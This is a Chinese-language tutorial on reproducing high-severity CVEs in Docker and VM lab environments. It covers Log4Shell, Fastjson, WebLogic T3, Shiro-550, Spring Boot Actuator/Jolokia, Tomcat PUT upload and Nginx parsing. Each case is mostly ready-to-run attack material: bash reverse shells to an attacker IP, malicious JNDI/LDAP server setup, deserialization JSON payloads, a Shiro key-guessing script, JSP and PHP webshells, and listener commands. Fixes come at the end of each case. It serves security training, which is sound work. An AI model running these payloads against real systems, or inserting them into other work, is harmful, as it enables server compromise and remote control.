【合规声明】本文所述漏洞复现技术仅用于授权测试、安全研究与学习交流,严禁用于任何非法用途。所有复现操作均在本地搭建的隔离靶场环境中进行。读者在使用本文所述技术前,请确保已获得目标系统的合法授权,并遵守所在国家/地区相关法律法规。未经授权对他人系统进行漏洞测试属于违法行为,作者不承担任何因不当使用本文内容而产生的法律责任。
一、前言:为什么要系统学习漏洞复现
漏洞复现是安全研究人员从理论走向实战的关键环节。很多初学者看完漏洞原理分析后,仍然停留在"知道是什么"的层面,无法真正掌握"怎么利用、怎么验证、怎么修复"。系统的漏洞复现训练能够帮助安全从业者:
-
深入理解漏洞成因:从代码层面到协议层面,还原漏洞触发全链路
-
掌握环境搭建能力:能够快速构建各类中间件、框架的漏洞环境
-
熟悉利用工具链:从POC编写到EXP利用的完整工具使用能力
-
积累实战经验:为真实渗透测试和漏洞挖掘打下坚实基础
本文不讲单个漏洞的原理细节,而是聚焦漏洞复现的完整流程和方法论,从环境搭建、漏洞验证、利用获取Shell到修复方案,形成一套可复用的复现工作流。
二、漏洞复现环境搭建
漏洞复现的第一步是搭建可控的漏洞环境。一个良好的靶场环境应该具备以下特点:环境隔离、可快速重建、覆盖漏洞类型全面、贴近真实生产配置。
2.1 Vulhub漏洞靶场框架使用
Vulhub是目前最流行的开源漏洞环境集合,基于Docker和Docker Compose,能够一键启动包含已知漏洞的各类应用环境,极大降低了漏洞复现的门槛。
2.1.1 环境准备
Vulhub依赖Docker和Docker Compose,需要先完成基础环境安装。以下以Ubuntu 22.04为例:
```bash
安装Docker
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
启动Docker服务并设置开机自启
systemctl start docker
systemctl enable docker
验证Docker安装
docker --version
docker run hello-world
安装Docker Compose(V2版本已集成到docker插件中)
方式一:使用apt安装docker-compose-plugin
apt-get update
apt-get install docker-compose-plugin
方式二:手动安装独立版本docker-compose
curl -L "https://github.com/docker/compose/releases/download/v2.20.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
chmod +x /usr/local/bin/docker-compose
docker-compose --version
```
```bash
克隆Vulhub仓库
cd /opt
git clone https://github.com/vulhub/vulhub.git
cd vulhub
ls
```
2.1.2 Vulhub目录结构说明
Vulhub的目录结构按照"中间件/框架 -> 漏洞CVE编号"的方式组织,层次清晰:
```
vulhub/
├── log4j/ # 按组件分类
│ └── CVE-2021-44228/ # 按CVE编号分类
│ ├── docker-compose.yml # 环境编排文件
│ ├── README.md # 漏洞说明文档
│ └── ...
├── fastjson/
│ ├── 1.2.24-rce/
│ ├── 1.2.47-rce/
│ └── 1.2.80-rce/
├── weblogic/
│ ├── CVE-2018-2628/
│ ├── CVE-2017-10271/
│ └── CVE-2020-14882/
├── spring/
│ ├── CVE-2022-22965/
│ └── CVE-2022-22947/
├── nginx/
│ ├── CVE-2017-7529/
│ └── insecure-configuration/
└── ...
```
【提示】README.md文件中通常包含漏洞简介、影响版本、复现步骤和参考链接,复现前务必先阅读。
2.1.3 常用漏洞环境启动命令
Vulhub的启动命令高度统一,掌握一套命令即可复现大部分环境:
```bash
进入对应漏洞目录
cd /opt/vulhub/log4j/CVE-2021-44228
一键启动漏洞环境(后台运行)
docker-compose up -d
查看运行中的容器
docker-compose ps
docker ps
查看容器日志
docker-compose logs
docker logs <容器名>
查看容器端口映射,确认服务端口
docker-compose ps
或
docker port <容器名>
销毁环境(复现完成后务必清理)
docker-compose down -v
```
【注意】每次复现完成后务必执行 docker-compose down -v 清理环境,避免端口冲突和资源占用。多个环境同时运行可能导致端口冲突,建议一次只启动一个漏洞环境。
```bash
查看当前所有Docker资源占用
docker system df
清理所有停止的容器、悬空镜像和未使用网络
docker system prune -a --volumes
```
2.2 Vulapps靶场介绍
Vulapps是另一个基于Docker的漏洞环境集合,与Vulhub类似但收录的漏洞环境有所不同,可作为Vulhub的补充。
```bash
拉取Vulapps环境(以Struts2漏洞为例)
docker pull medicean/vulapps:s_struts2_s2-037
运行环境
docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-037
```
Vulapps的特点是通过Docker Hub直接分发镜像,使用简单但需要手动查找对应标签。
2.3 手动搭建漏洞环境
当Vulhub等靶场未收录目标漏洞时,需要手动搭建环境。手动搭建能够锻炼对应用部署架构的理解能力。
2.3.1 Dockerfile编写
以下是一个搭建存在漏洞的Tomcat环境的Dockerfile示例:
```dockerfile
基础镜像:使用JDK 8
FROM openjdk:8-jre-slim
设置环境变量
ENV CATALINA_HOME /usr/local/tomcat
ENV PATH CATALINA_HOME/bin:PATH
安装Tomcat 8.5.20(受CVE-2017-12615影响版本)
RUN mkdir -p "$CATALINA_HOME" \
&& cd /tmp \
&& apt-get update && apt-get install -y wget \
&& wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz \
&& tar -xzf apache-tomcat-8.5.20.tar.gz -C "$CATALINA_HOME" --strip-components=1 \
&& rm apache-tomcat-8.5.20.tar.gz
修改配置开启PUT方法(制造漏洞条件)
RUN sed -i 's/<servlet-name>default<\/servlet-name>/<servlet-name>default<\/servlet-name>/' $CATALINA_HOME/conf/web.xml \
&& sed -i '/<servlet-name>default<\/servlet-name>/,/<\/servlet>/s|readonly</param-value>|readonly</param-value>|' $CATALINA_HOME/conf/web.xml
EXPOSE 8080
CMD "catalina.sh", "run"
```
2.3.2 Docker Compose编排多组件环境
实际漏洞复现中,很多环境需要多组件配合,例如Web应用+数据库+缓存服务。Docker Compose能够编排这些服务:
```yaml
version: '3'
services:
Web应用服务
webapp:
build: ./webapp
ports:
- "8080:8080"
depends_on:
-
mysql
-
redis
environment:
-
DB_HOST=mysql
-
DB_PORT=3306
-
REDIS_HOST=redis
networks:
- vuln_net
MySQL数据库服务
mysql:
image: mysql:5.7
environment:
MYSQL_ROOT_PASSWORD: root123
MYSQL_DATABASE: vulnapp
ports:
- "3306:3306"
networks:
- vuln_net
Redis缓存服务
redis:
image: redis:5.0
ports:
- "6379:6379"
networks:
- vuln_net
networks:
vuln_net:
driver: bridge
```
```bash
构建并启动多组件环境
docker-compose up -d --build
查看服务状态
docker-compose ps
```
2.3.3 Docker镜像搜索与使用
Docker Hub和各类镜像仓库是获取漏洞环境的重要来源:
```bash
搜索Docker Hub上的漏洞靶场镜像
docker search dvwa
docker search sqli-labs
docker search webgoat
拉取DVWA靶场
docker pull vulnerables/web-dvwa
运行DVWA
docker run -d -p 80:80 vulnerables/web-dvwa
拉取sqli-labs
docker pull acgpiano/sqli-labs
docker run -d -p 80:80 acgpiano/sqli-labs
```
2.4 虚拟机靶场搭建
部分漏洞环境(尤其是系统级漏洞、内网渗透靶场)需要完整的操作系统环境,此时虚拟机是更好的选择。
2.4.1 VMware/VirtualBox安装配置
VMware Workstation和VirtualBox是两款主流虚拟化软件:
```text
VMware Workstation Pro:
-
优势:性能好、功能丰富、快照管理方便
-
推荐版本:VMware Workstation Pro 17+
VirtualBox:
-
优势:开源免费、跨平台
-
推荐版本:VirtualBox 7.0+
```
2.4.2 靶机VM下载资源列表
以下是常用的靶机虚拟机资源,用于漏洞复现和渗透练习:
| 靶机名称 | 下载地址 | 适用场景 | 难度 |
|---------|---------|---------|------|
| Metasploitable2 | https://sourceforge.net/projects/metasploitable/ | Linux漏洞复现入门 | 初级 |
| Metasploitable3 | https://github.com/rapid7/metasploitable3 | Windows/Linux综合漏洞 | 中级 |
| VulnHub系列 | https://www.vulnhub.com/ | 各类CTF风格靶机 | 初-高级 |
| OWASP Broken Web Apps | https://sourceforge.net/projects/owaspbwa/ | Web漏洞综合练习 | 初级 |
| HackTheBox | https://www.hackthebox.com/ | 在线渗透靶场 | 中-高级 |
| TryHackMe | https://tryhackme.com/ | 在线引导式学习 | 初-中级 |
| PentesterLab | https://www.pentesterlab.com/ | 结构化漏洞练习 | 中级 |
2.4.3 网络隔离配置建议
漏洞复现环境必须与生产网络和互联网隔离,防止漏洞利用过程中意外影响外部系统:
```text
网络隔离方案:
-
仅主机模式(Host-Only):虚拟机只能与宿主机通信,完全隔离外网
-
NAT模式:虚拟机可访问外网但外部无法主动访问虚拟机(更新系统时使用)
-
内部网络模式:多台虚拟机之间通信,完全与宿主机隔离
推荐配置:
-
攻击机:Kali Linux,使用NAT模式(需下载工具)或Host-Only模式
-
靶机:使用Host-Only模式,与攻击机在同一网段
-
不建议将漏洞靶场暴露到公网,避免被他人利用
```
【警告】绝对不要将包含已知漏洞的靶场环境部署在公网服务器上。即使用于学习目的,公网上的漏洞环境也可能被恶意攻击者利用作为跳板,造成严重法律后果。
2.5 常用靶场平台对比表
| 平台名称 | 部署方式 | 漏洞覆盖 | 适用场景 | 优势 | 劣势 |
|---------|---------|---------|---------|------|------|
| Vulhub | Docker Compose | 中间件/框架CVE | 快速复现特定CVE | 一键启动、更新快 | 不含系统漏洞 |
| Vulapps | Docker镜像 | Web中间件 | 补充Vulhub | 使用简单 | 更新较慢 |
| DVWA | Docker/虚拟机 | Web基础漏洞 | 入门学习 | 经典全面 | 漏洞较旧 |
| Pikachu | Docker/虚拟机 | Web基础漏洞 | 入门练习 | 中文友好 | 漏洞较基础 |
| Upload-labs | Docker/源码 | 文件上传专项 | 上传漏洞专项 | 覆盖全面 | 单一类型 |
| sqli-labs | Docker/源码 | SQL注入专项 | 注入专项练习 | 75关覆盖全 | 单一类型 |
| WebGoat | Docker/JAR | Web综合 | Java安全学习 | 结构化课程 | 环境较重 |
| HackTheBox | 在线平台 | 综合 | 实战能力提升 | 贴近真实环境 | 需要VPN |
| TryHackMe | 在线平台 | 综合+引导 | 新手入门 | 引导式学习 | 部分付费 |
三、Web漏洞复现实战
本节通过多个高危害CVE漏洞的完整复现流程,演示从环境搭建到获取Shell的全过程。每个复现案例都包含详细的操作步骤和可执行的命令。
3.1 复现一:Apache Log4j2 RCE(CVE-2021-44228)完整流程
3.1.1 漏洞影响版本说明
CVE-2021-44228(Log4Shell)是2021年最严重的漏洞之一,影响Apache Log4j 2.0-beta9至2.14.1版本。该漏洞源于Log4j2的JNDI注入特性,攻击者只需控制日志内容即可触发远程代码执行。
```text
受影响版本:Apache Log4j 2.0-beta9 ~ 2.14.1
不受影响版本:Apache Log4j 2.15.0及以上(2.16.0彻底移除JNDI支持)
影响范围:所有使用受影响Log4j2版本的应用(Spring Boot、Struts2、Solr、ElasticSearch等)
```
3.1.2 Vulhub启动命令
```bash
cd /opt/vulhub/log4j/CVE-2021-44228
启动漏洞环境
docker-compose up -d
查看服务端口
docker-compose ps
默认映射端口为8983(Solr服务)
```
启动后访问 http://靶机IP:8983/solr/ 可看到Solr管理界面,该Solr服务使用了存在漏洞的Log4j2版本。
3.1.3 JNDI注入利用工具marshalsec搭建LDAP服务
Log4j2漏洞利用需要搭建恶意的LDAP/RMI服务,marshalsec是最常用的JNDI注入利用工具:
```bash
下载marshalsec(需要Java 8和Maven环境)
cd /opt
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
编译marshalsec
mvn clean package -DskipTests
编写恶意利用类
cat > Exploit.java << 'EOF'
public class Exploit {
static {
try {
Runtime.getRuntime().exec(new String\[\]{"/bin/bash", "-c", "bash -i >& /dev/tcp/攻击机IP/4444 0>&1"});
} catch (Exception e) {
e.printStackTrace();
}
}
}
EOF
编译恶意类(注意:需要使用Java 8编译,高版本JDK可能不兼容)
javac Exploit.java
在恶意类所在目录启动HTTP服务(默认端口8000)
python3 -m http.server 8000
```
```bash
使用marshalsec启动恶意LDAP服务,指向HTTP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://攻击机IP:8000/#Exploit"
默认监听1389端口
```
3.1.4 构造恶意payload触发漏洞
在攻击机上先开启监听,然后使用Log4j2的JNDI注入payload触发漏洞:
```bash
攻击机开启反弹Shell监听
nc -lvnp 4444
```
```bash
构造JNDI注入payload,通过Solr的搜索接口触发
payload格式:${jndi:ldap://攻击机IP:1389/Exploit}
方式一:使用curl触发(通过Solr搜索参数)
curl "http://靶机IP:8983/solr/admin/cores?action=\\${jndi:ldap://攻击机IP:1389/Exploit}"
方式二:通过HTTP Header触发(很多应用记录User-Agent等头信息)
curl -H "X-Api-Version: \${jndi:ldap://攻击机IP:1389/Exploit}" http://靶机IP:8983/
方式三:通过User-Agent触发
curl -A "\${jndi:ldap://攻击机IP:1389/Exploit}" http://靶机IP:8983/
```
【注意】在bash中,{}会被shell解释为变量,需要使用反斜杠转义:\\{jndi:...}。如果使用单引号包裹整个URL则不需要转义。
3.1.5 获取Shell完整步骤
完整的利用流程分为四个步骤,需要在攻击机上同时开启三个终端:
```text
终端1:开启反弹Shell监听
nc -lvnp 4444
终端2:启动恶意HTTP服务(提供Exploit.class下载)
cd /opt/marshalsec
python3 -m http.server 8000
终端3:启动恶意LDAP服务(重定向到HTTP服务)
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://攻击机IP:8000/#Exploit"
```
然后在任意终端发送触发payload:
```bash
curl "http://靶机IP:8983/solr/admin/cores?action=\\${jndi:ldap://攻击机IP:1389/Exploit}"
```
触发流程:靶机Log4j2记录payload -> 解析JNDI表达式 -> 连接攻击机LDAP服务 -> LDAP返回恶意类HTTP地址 -> 靶机下载并加载Exploit.class -> 执行static代码块 -> 反弹Shell到攻击机。
3.1.6 漏洞原理简要说明与修复方案
```text
漏洞原理:
Log4j2在记录日志时,会解析日志内容中的{}表达式。当日志中包含{jndi:ldap://...}时,
Log4j2会向指定LDAP服务器发起请求,LDAP服务器返回的Java类会被加载执行,从而导致RCE。
关键问题在于日志内容可被用户控制,且JNDIlookup功能未做任何限制。
修复方案:
-
升级Log4j2到2.17.1及以上版本(彻底修复)
-
临时缓解:设置JVM参数 log4j2.formatMsgNoLookups=true
-
临时缓解:删除JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
-
WAF规则:拦截请求中包含 ${jndi: 的内容(注意各种绕过变体)
```
3.2 复现二:Fastjson反序列化RCE完整流程
3.2.1 漏洞版本与autoType机制说明
Fastjson是阿里巴巴开源的JSON解析库,其反序列化漏洞核心在于autoType机制。当autoType开启时,Fastjson可以根据JSON中的@type字段指定任意Java类进行反序列化,攻击者利用此特性可加载恶意类实现RCE。
```text
主要漏洞版本:
-
Fastjson <= 1.2.24:autoType默认开启,无任何限制
-
Fastjson 1.2.25 ~ 1.2.47:加入黑名单但可绕过(1.2.47通杀绕过)
-
Fastjson 1.2.48 ~ 1.2.68:修复绕过但仍有利用方式
-
Fastjson >= 1.2.69:默认关闭autoType,安全性提升
```
3.2.2 搭建恶意RMI/LDAP服务
利用ysoerial工具生成恶意类并通过RMI服务提供:
```bash
下载ysoerial
cd /opt
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests
使用JNDI-Injection-Exploit工具(更方便的JNDI利用工具)
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit
mvn clean package -DskipTests
```
```bash
使用JNDI-Injection-Exploit生成并启动恶意服务
-C 参数指定要执行的命令
-A 参数指定攻击机IP
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "攻击机IP"
```
【提示】命令需要base64编码以避免特殊字符问题。生成bash -i >& /dev/tcp/IP/PORT 0>&1的base64编码可以使用:echo 'bash -i >& /dev/tcp/攻击机IP/4444 0>&1' | base64
3.2.3 构造JSON payload利用TemplatesImpl加载恶意类
```bash
开启反弹Shell监听
nc -lvnp 4444
```
Fastjson 1.2.24的利用payload(通过JdbcRowSetImpl类发起JNDI请求):
```json
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://攻击机IP:1099/Exploit",
"autoCommit":true
}
}
```
Fastjson 1.2.47通杀绕过payload(利用缓存机制绕过autoType检查):
```json
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://攻击机IP:1389/Exploit",
"autoCommit":true
}
}
```
利用TemplatesImpl直接加载恶意字节码(不依赖外部JNDI服务):
```json
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":"\
"_name":"a.b",
"_tfactory":{},
"_outputProperties":{}
}
```
3.2.4 获取Shell完整步骤
```bash
完整利用流程
步骤1:启动恶意LDAP/RMI服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,<base64>}|{base64,-d}|{bash,-i}" -A "攻击机IP"
步骤2:开启反弹Shell监听
nc -lvnp 4444
步骤3:发送恶意JSON payload到目标Fastjson接口
curl -X POST "http://靶机IP:8090/" \
-H "Content-Type: application/json" \
-d '{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击机IP:1389/Exploit","autoCommit":true}}'
```
【注意】Fastjson漏洞利用受目标JDK版本影响。JDK 8u191及以上版本默认禁止远程类加载(com.sun.jndi.ldap.object.trustURLCodebase=false),此时需要利用本地Gadget链(如TemplatesImpl)或高版本JDK绕过技术。
3.3 复现三:WebLogic反序列化漏洞复现
3.3.1 T3协议漏洞概述
WebLogic是Oracle公司的Java EE应用服务器,其T3协议在反序列化过程中存在多个高危漏洞。攻击者通过向WebLogic的T3服务端口(默认7001)发送恶意序列化数据,可触发反序列化漏洞导致RCE。
```text
主要CVE编号:
-
CVE-2015-4852:WebLogic T3反序列化漏洞(首个)
-
CVE-2017-3248:T3协议反序列化(JRMP绕过)
-
CVE-2018-2628:T3协议反序列化
-
CVE-2019-2725:wls9-async组件反序列化
-
CVE-2020-2551:IIOP协议反序列化
-
CVE-2020-14882:控制台路径穿越+远程代码执行
```
```bash
启动Vulhub中的WebLogic漏洞环境
cd /opt/vulhub/weblogic/CVE-2018-2628
docker-compose up -d
查看端口映射
docker-compose ps
默认端口7001
```
3.3.2 利用weblogic_tool/python exploit脚本
```bash
下载WebLogic漏洞利用工具
cd /opt
git clone https://github.com/r4b3rt/PyWeblogic.git
使用Python exploit脚本检测漏洞
python3 weblogic_t3.py 靶机IP 7001
使用weblogic_tool进行利用(图形化工具)
下载地址:https://github.com/Y4er/weblogic-framework
git clone https://github.com/Y4er/weblogic-framework.git
cd weblogic-framework
go build -o weblogic-framework main.go
```
使用ysoerial配合JRMP协议利用WebLogic T3反序列化漏洞:
```bash
步骤1:使用ysoerial启动恶意JRMP服务
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 Jdk7u21 "bash -c {echo,<base64>}|{base64,-d}|{bash,-i}"
步骤2:使用exploit脚本将恶意JRMP地址通过T3协议发送给WebLogic
python3 exploit.py 靶机IP 7001 攻击机IP 9999
```
3.3.3 获取Shell流程
```bash
完整利用流程
终端1:开启反弹Shell监听
nc -lvnp 4444
终端2:启动恶意JRMP监听服务
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"
终端3:发送T3协议利用payload
python3 exploit.py 靶机IP 7001 攻击机IP 9999
```
WebLogic漏洞利用成功后,会在靶机上执行反弹Shell命令,攻击机终端1即可获得WebLogic运行权限的Shell。
```text
修复方案:
-
及时安装Oracle官方补丁
-
限制T3协议访问:配置WebLogic连接过滤器
-
升级到最新版本WebLogic
-
如不需要,禁用wls9-async等组件
```
3.4 复现四:Apache Shiro反序列化(Shiro-550 CVE-2016-4437)
3.4.1 rememberMe参数分析
Apache Shiro是一个Java安全框架,提供认证、授权、加密和会话管理功能。Shiro-550漏洞存在于Shiro的rememberMe功能中,该功能使用Cookie记住用户登录状态。
```text
漏洞原理:
Shiro在处理rememberMe Cookie时,流程如下:
-
读取Cookie中的rememberMe值
-
使用AES密钥进行Base64解码和AES解密
-
对解密后的数据进行反序列化
关键问题:Shiro 1.2.4及以下版本使用硬编码的AES密钥(kPH+bIxk5D2deZiIxcaaaA==),
攻击者知道密钥后可以构造恶意的序列化数据,加密后放入rememberMe Cookie,
Shiro解密后反序列化触发RCE。
```
```bash
启动Vulhub中的Shiro漏洞环境
cd /opt/vulhub/shiro/CVE-2016-4437
docker-compose up -d
默认端口8080
```
3.4.2 AES密钥识别与利用
Shiro-550的关键在于AES密钥。默认密钥是已知的,但生产环境中可能被修改,需要识别实际使用的密钥:
```python
shiro_key_check.py - Shiro AES密钥检测脚本
import base64
import uuid
import requests
import subprocess
from Crypto.Cipher import AES
常见Shiro密钥列表
keys = [
"kPH+bIxk5D2deZiIxcaaaA==", # 默认密钥
"wGiHplamyXlVB11UXWol8g==",
"2AvVhdsgUs0FSA3SDFAdag==",
"Z3VucwAAAAAAAAAAAAAAAA==",
"fCq+/xW488hxxCDckcLW/rw==",
"4AvVhmFLUs0KTA3Kprsdag==",
"WcfHgH4QSoGXGeSV202gUw==",
]
生成检测Payload(序列化一个不存在的方法调用)
def get_payload(key):
使用ysoserial生成URLDNS payload用于探测
popen = subprocess.Popen(
'java', '-jar', 'ysoserial.jar', 'URLDNS', 'http://your-dnslog.cn/' + str(uuid.uuid4()),
stdout=subprocess.PIPE
)
payload = popen.stdout.read()
AES-CBC加密
bs = AES.block_size
iv = uuid.uuid4().bytes
cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv)
padding = bs - len(payload) % bs
payload += bytes(padding) * padding
encrypted = iv + cipher.encrypt(payload)
return base64.b64encode(encrypted).decode()
检测密钥
for key in keys:
payload = get_payload(key)
headers = {
"Cookie": "rememberMe=" + payload,
"User-Agent": "Mozilla/5.0"
}
try:
r = requests.get("http://靶机IP:8080/", headers=headers, timeout=5)
if "deleteMe" not in r.headers.get("Set-Cookie", ""):
print(f"+ 发现有效密钥: {key}")
break
else:
print(f"- 密钥无效: {key}")
except Exception as e:
print(f"! 请求异常: {e}")
```
【提示】Shiro在解密失败或反序列化失败时会在Set-Cookie中返回deleteMe,利用这一特征可以判断密钥是否正确。
3.4.3 使用ShiroExp工具利用流程
ShiroExp是图形化的Shiro漏洞利用工具,集成了密钥探测和漏洞利用功能:
```text
ShiroExp利用步骤:
-
下载ShiroExp工具
-
填写目标URL:http://靶机IP:8080/
-
点击"检测密钥"功能,自动遍历常见密钥
-
密钥识别成功后,选择利用Gadget(CommonsBeanutils1、CommonsCollections等)
-
填写要执行的命令或反弹Shell地址
-
点击"执行"生成rememberMe Cookie
-
将Cookie注入浏览器或使用curl发送
```
使用命令行方式利用Shiro-550:
```bash
步骤1:使用ysoerial生成CommonsBeanutils1的payload
java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,<base64>}|{base64,-d}|{bash,-i}" > payload.bin
步骤2:使用ShiroExploit工具加密payload
python3 shiro_exploit.py -t http://靶机IP:8080/ -k "kPH+bIxk5D2deZiIxcaaaA==" -f payload.bin
步骤3:使用生成的Cookie访问目标
curl -b "rememberMe=<生成的Cookie值>" http://靶机IP:8080/
```
```bash
完整流程
nc -lvnp 4444
然后发送上述curl请求,即可获得反弹Shell
```
```text
修复方案:
-
升级Shiro到1.2.5及以上版本(使用随机生成的AES密钥)
-
配置自定义AES密钥:securityManager.rememberMeManager.cipherKey
-
升级依赖的Commons-Collections等组件到安全版本
```
3.5 复现五:Spring Boot Actuator漏洞复现
3.5.1 /env端点信息泄露
Spring Boot Actuator提供了生产级别的监控和管理端点,如果配置不当导致端点暴露,可造成敏感信息泄露甚至RCE。
```bash
启动Vulhub中的Spring Boot Actuator漏洞环境
cd /opt/vulhub/spring/CVE-2022-22965
docker-compose up -d
```
```bash
访问/env端点,查看环境配置信息(可能包含数据库密码、密钥等)
curl http://靶机IP:8090/actuator/env
查看所有可用的Actuator端点
curl http://靶机IP:8090/actuator
```
/env端点返回的信息示例:
```json
{
"propertySources": [
{
"name": "systemEnvironment",
"properties": {
"DB_PASSWORD": {
"value": "******"
},
"REDIS_PASSWORD": {
"value": "redis123"
}
}
}
]
}
```
3.5.2 /refresh端点利用
```bash
通过/env端点修改环境变量(配合/refresh刷新)
步骤1:通过POST /env修改Spring属性
curl -X POST "http://靶机IP:8090/actuator/env" \
-H "Content-Type: application/json" \
-d '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://攻击机IP:8888/"'
步骤2:刷新配置使其生效
curl -X POST "http://靶机IP:8090/actuator/refresh"
```
3.5.3 /jolokia漏洞利用RCE
当Actuator暴露了/jolokia端点且环境中存在可利用的MBean时,可通过JMX实现RCE:
```bash
查看Jolokia可用的MBean列表
curl http://靶机IP:8090/actuator/jolokia/list
利用logback MBean加载远程XML配置实现RCE
步骤1:在攻击机上准备恶意XML文件
cat > malicious.xml << 'EOF'
<configuration>
<insertFromJNDI env-entry-name="ldap://攻击机IP:1389/Exploit" as="..." />
</configuration>
EOF
python3 -m http.server 8888
步骤2:通过Jolokia调用logback的reloadByURL方法
curl -X POST "http://靶机IP:8090/actuator/jolokia" \
-H "Content-Type: application/json" \
-d '{
"type": "EXEC",
"mbean": "ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator",
"operation": "reloadByURL",
"arguments": "http://攻击机IP:8888/malicious.xml"
}'
```
```text
修复方案:
-
禁用或限制Actuator端点:management.endpoints.web.exposure.include=health
-
不在生产环境暴露/env、/jolokia等敏感端点
-
为Actuator端点配置认证:management.security.enabled=true
-
升级Spring Boot到安全版本
```
四、中间件漏洞复现实战
中间件漏洞是渗透测试中的重点攻击面,本节复现常见的中间件高危漏洞。
4.1 复现六:Tomcat PUT方法任意文件上传(CVE-2017-12615)
4.1.1 漏洞原理与影响版本
```text
漏洞原理:
Tomcat的DefaultServlet配置了readonly=false时,允许通过PUT方法上传文件。
攻击者可上传JSP文件获取Webshell。某些版本中即使配置了readonly=true,
也可通过特殊文件名绕过(如shell.jsp/利用Windows路径特性)。
影响版本:
-
Apache Tomcat 7.0.0 ~ 7.0.79(PUT方法直接上传)
-
Apache Tomcat 7.0.0 ~ 7.0.81(特殊文件名绕过)
-
Windows平台影响范围更广(NTFS特性绕过)
```
4.1.2 利用PUT方法上传JSP Webshell
```bash
启动Vulhub中的Tomcat漏洞环境
cd /opt/vulhub/tomcat/CVE-2017-12615
docker-compose up -d
默认端口8080
```
```bash
方式一:直接PUT上传JSP文件(Tomcat 7.0.79及以下)
curl -X PUT "http://靶机IP:8080/shell.jsp" \
-H "Content-Type: application/octet-stream" \
-d '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'
方式二:利用文件名绕过(Tomcat 7.0.81)
Windows平台:使用shell.jsp%20或shell.jsp::$DATA
curl -X PUT "http://靶机IP:8080/shell.jsp " \
-H "Content-Type: application/octet-stream" \
-d '<%out.println("test");%>'
方式三:利用路径穿越特性
curl -X PUT "http://靶机IP:8080/shell.jsp/" \
-H "Content-Type: application/octet-stream" \
-d '<%out.println("test");%>'
```
4.1.3 完整curl命令示例
```bash
完整利用流程:上传Webshell并执行命令
步骤1:上传Webshell
curl -X PUT "http://靶机IP:8080/cmd.jsp/" \
-H "Content-Type: application/octet-stream" \
-d '<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(new String\[\]{"/bin/bash", "-c", cmd});
java.io.InputStream is = p.getInputStream();
byte\[\] b = new byte2048;
int len;
while ((len = is.read(b)) != -1) {
out.write(new String(b, 0, len));
}
%>'
步骤2:访问Webshell执行命令
curl "http://靶机IP:8080/cmd.jsp?cmd=id"
curl "http://靶机IP:8080/cmd.jsp?cmd=whoami"
curl "http://靶机IP:8080/cmd.jsp?cmd=cat+/etc/passwd"
步骤3:获取反弹Shell
curl "http://靶机IP:8080/cmd.jsp?cmd=bash+-c+\\"bash+-i+\>%26+/dev/tcp/攻击机IP/4444+0\>%261\\""
```
```text
修复方案:
-
升级Tomcat到安全版本(7.0.82+)
-
确保web.xml中DefaultServlet的readonly参数设置为true
-
限制PUT、DELETE等HTTP方法
-
配置WAF拦截JSP文件上传
```
4.2 复现七:Nginx解析漏洞复现
4.2.1 CGI PATH_INFO解析问题
```text
漏洞原理:
当Nginx配置了将PHP请求转发给FastCGI处理时,如果配置中使用以下方式:
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_param SCRIPT_FILENAME document_rootfastcgi_script_name;
}
当请求/test.jpg/x.php时,Nginx将请求转发给PHP-FPM,
PHP-FPM的cgi.fix_pathinfo=1时,会将不存在的x.php回退到test.jpg,
并将其作为PHP代码执行,导致图片马被解析为PHP脚本。
```
```bash
启动Vulhub中的Nginx解析漏洞环境
cd /opt/vulhub/nginx/insecure-configuration
docker-compose up -d
```
4.2.2 上传图片马配合解析漏洞获取Shell
```bash
步骤1:制作图片马(将PHP代码嵌入图片)
在正常图片文件末尾追加PHP代码
echo '<?php @eval($_POST"cmd");?>' >> normal.jpg
或使用GIF文件头绕过
printf 'GIF89a<?php @eval($_POST"cmd");?>' > shell.gif
步骤2:通过文件上传功能将图片马上传到服务器
curl -X POST "http://靶机IP:8080/upload.php" \
-F "file=@shell.gif"
步骤3:利用Nginx解析漏洞触发PHP执行
假设图片上传后的路径为 /upload/shell.gif
curl "http://靶机IP:8080/upload/shell.gif/.php"
步骤4:使用蚁剑/菜刀连接Webshell
URL: http://靶机IP:8080/upload/shell.gif/.php
密码: cmd
```
```text
修复方案:
-
设置 cgi.fix_pathinfo=0(PHP 5.3.9+)
-
修改Nginx配置,精确匹配PHP文件:
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass 127.0.0.1:9000;
}
